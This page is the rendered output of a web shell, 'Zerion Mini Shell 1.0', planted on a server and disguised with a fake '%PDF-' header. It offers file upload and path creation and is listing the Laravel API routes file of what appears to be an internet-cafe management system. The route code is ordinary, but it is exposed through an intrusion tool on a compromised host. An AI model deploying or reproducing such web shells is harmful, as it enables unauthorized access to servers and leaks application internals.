%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/management/routes/
Upload File :
Create Path :
Current File : /var/www/html/management/routes/api.php

<?php

/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
|
| Here is where you can register API routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| is assigned the "api" middleware group. Enjoy building your API!
|
*/

Route::post('login', 'AuthenticationController@login')->name('api.login');

Route::middleware('auth:api')->group(function () {
    Route::post('logout', 'AuthenticationController@logout')->name('api.logout');
    Route::post('refresh', 'AuthenticationController@refresh')->name('api.refresh');
    Route::get('me', 'AuthenticationController@me')->name('api.me');

    Route::resource('computers', 'ComputersController');
    Route::put('computers/{computer}/actions/disable', 'ComputersController@disable')->name('api.computers.actions.disable');
    Route::put('computers/{computer}/actions/enable', 'ComputersController@enable')->name('api.computers.actions.enable');
    Route::post('computers/{computer}/actions/startOrder', 'ComputersController@startOrder')->name('api.computers.actions.startOrder');
    Route::post('computers/{computer}/actions/endUsage', 'ComputersController@endUsage')->name('api.computers.actions.endUsage');
    Route::post('computers/{computer}/actions/endOrder', 'ComputersController@endOrder')->name('api.computers.actions.endOrder');
    Route::post('computers/{computer}/actions/transferOrder/{newComputer}', 'ComputersController@transferOrder')->name('api.computers.actions.transferOrder');
    Route::post('computers/{computer}/actions/addUserToOrder/{user}', 'ComputersController@addUserToOrder')->name('api.computers.actions.addUserToOrder');
    Route::post('computers/{computer}/actions/applyMoneyDiscount', 'ComputersController@applyMoneyDiscount')->name('api.computers.actions.applyMoneyDiscount');
    Route::post('computers/{computer}/actions/applyGiftDiscount', 'ComputersController@applyGiftDiscount')->name('api.computers.actions.applyGiftDiscount');
    Route::post('computers/{computer}/actions/addProduct/{product}', 'ComputersController@addProduct')->name('api.computers.actions.addProduct');
    Route::post('computers/{computer}/actions/fixedTimer', 'ComputersController@fixedTimer')->name('api.computers.actions.fixedTimer');

    Route::resource('users', 'UsersController');
    Route::get('users/actions/getSearchableUsers', 'UsersController@getSearchableUsers')->name('api.users.actions.getSearchableUsers');
    Route::post('users/{user}/actions/gift', 'UsersController@gift')->name('api.users.actions.gift');

    Route::resource('products', 'ProductsController');
    Route::get('products/actions/getPhysicalProducts', 'ProductsController@getPhysicalProducts')->name('api.products.actions.getPhysicalProducts');

    Route::resource('invoices', 'InvoicesController');
});

Zerion Mini Shell 1.0